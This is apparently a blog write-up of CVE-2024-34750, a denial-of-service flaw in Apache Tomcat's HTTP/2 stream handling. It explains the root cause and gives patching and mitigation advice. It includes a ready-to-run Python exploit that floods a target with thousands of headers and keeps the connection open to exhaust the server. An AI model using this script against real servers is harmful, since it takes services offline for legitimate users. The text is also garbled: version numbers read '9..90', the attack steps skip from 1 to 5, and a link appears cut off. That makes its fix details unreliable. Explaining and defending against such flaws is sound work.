A critical vulnerability, CVE-2024-34750, has been discovered in Apache Tomcat’s handling of HTTP/2 streams, putting millions of Java-based applications at risk. This flaw allows attackers to abuse a loop-hole in Tomcat’s HTTP/2 implementation to keep server connections alive indefinitely, consuming server resources and making Tomcat-based services unreachable over time.

What’s the Problem?

Normally, Tomcat sets a timeout on its HTTP/2 connections so idle or misbehaving clients don’t hog all the resources. However, due to improper handling of certain exceptional states and a miscount of active HTTP/2 streams, Tomcat would sometimes lose track of streams that should have been closed.

What does this mean?

- Under certain situations (especially when a client sends excessive HTTP headers), the connection stays alive indefinitely.
- Over time, attackers can open enough hanging connections to exhaust the Tomcat server. This is a classic Denial-of-Service (DoS) vector.

The Root Cause

When an HTTP/2 stream with too many headers is processed, Tomcat makes a bookkeeping mistake and does not shut down the connection as it should. Even though the stream is logically dead, it isn’t removed from Tomcat’s list of “active streams”.

The real Tomcat code is quite complex, but the logic flaw can be expressed simply

void onHeadersReceived(Stream stream, Headers headers) {
    if(headers.count > MAX_HEADERS) {
        // Error: Too many headers
        // Supposed to close the stream
        stream.close();
    } else {
        processHeaders(headers);
    }
    // Bug: Sometimes stream count is NOT decremented!
}

In some Tomcat versions, upon receiving too many headers, it doesn't always decrement the count or close the connection, keeping it open forever.

Attack Method

1. The attacker opens numerous HTTP/2 connections to the server.

The connections never time out, staying open and consuming memory and file descriptors.

5. Eventually, the server can’t handle new connections, resulting in a denial of service for legitimate users.

Sample Exploit (Python/Hyper-H2)

import h2.connection
import h2.events
import socket

HOST = 'target-tomcat-host'
PORT = 8443

s = socket.create_connection((HOST, PORT))
conn = h2.connection.H2Connection()
conn.initiate_connection()
s.sendall(conn.data_to_send())

# Flood with excessive headers
headers = [('x-custom-header-{}'.format(i), 'val') for i in range(10000)] # Way over typical limits

conn.send_headers(1, headers)
s.sendall(conn.data_to_send())

# Keep the socket open
while True:
    pass

This script will cause a vulnerable Tomcat server to mismanage the connection, eventually consuming all available resources.

Protection, Fixes & Recommendations

Official Fixes:

9..90 or newer

Download latest Tomcat releases:
- Apache Tomcat Download Page

Mitigation Steps if You Can’t Patch

- Set up a reverse proxy (e.g., nginx, Apache HTTPD) to filter and limit header sizes before traffic reaches Tomcat.

Limit the number of allowed connections from a single IP.

- Monitor for abnormal HTTP/2 header activity.

CVE entry:

https://nvd.nist.gov/vuln/detail/CVE-2024-34750

Apache Tomcat Security Advisory:

https://lists.apache.org/thread/brv8fdlkrqwox2fturexgfctbc91mzb
- HTTP/2 Specification:
https://httpwg.org/specs/rfc9113.html

Release Notes (example for 9..90):

https://tomcat.apache.org/tomcat-9.-doc/changelog.html

Conclusion

CVE-2024-34750 is a big deal for Tomcat users serving HTTP/2 traffic. The improper management of HTTP/2 streams allows attackers to tie up server resources until your application grinds to a halt. Upgrade your Tomcat instance as soon as possible, and consider limiting large headers at your edge to stay one step ahead of attackers.

Timeline

Published on: 07/03/2024 20:15:04 UTC
Last modified on: 07/09/2024 16:22:37 UTC